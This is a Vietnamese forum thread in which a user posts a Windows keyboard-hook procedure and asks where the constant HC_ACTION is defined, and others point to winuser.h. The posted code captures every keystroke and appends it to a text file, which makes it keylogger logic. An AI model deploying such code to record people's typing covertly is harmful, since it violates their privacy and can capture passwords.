01/10/2018, 08:55

Windows Hook proc

LRESULT __declspec(dllexport)__stdcall  CALLBACK KeyboardProc(int nCode,WPARAM wParam, 
                            LPARAM lParam)
{
    char ch;            
    if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
    {        
        if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100)) 
        {
            f1=fopen("c:\report.txt","a+");
            if (wParam==VK_RETURN)
            {
                ch='
';
                fwrite(&ch,1,1,f1);
            }
            else
            {
                   BYTE ks[256];
                GetKeyboardState(ks);

                WORD w;
                UINT scan=0;
                ToAscii(wParam,scan,ks,&w,0);
                ch = char(w); 
                fwrite(&ch,1,1,f1);
            }
        fclose(f1);
        }
    }

    LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam );
    return  RetVal;
}

có ai biết cho em hỏi hằng số HC_ACTION đó được định nghĩa ở đâu ko?()

明玉 viết 10:58 ngày 01/10/2018

Theo tài liệu của Microsoft thì HC_ACTION là 0
https://msdn.microsoft.com/en-us/library/windows/desktop/ms644984(v=vs.85).aspx

Loser viết 11:05 ngày 01/10/2018

đã biết bằng không nhưng không biết nó được khai báo ở đâu bạn ạ?

Khoa NTA viết 11:08 ngày 01/10/2018

Trên máy mình (không phải VS), ở winuser.h, line 436. Bạn nên sử dụng 1 IDE tốt hoặc 1 editor tốt như Visual Studio Code chẳng hạn rồi “Go to definition” là được mà.

Loser viết 11:01 ngày 01/10/2018

cảm ơn nhiều!@@,mới dùng visual nên ko biết vụ này.

Bài liên quan
0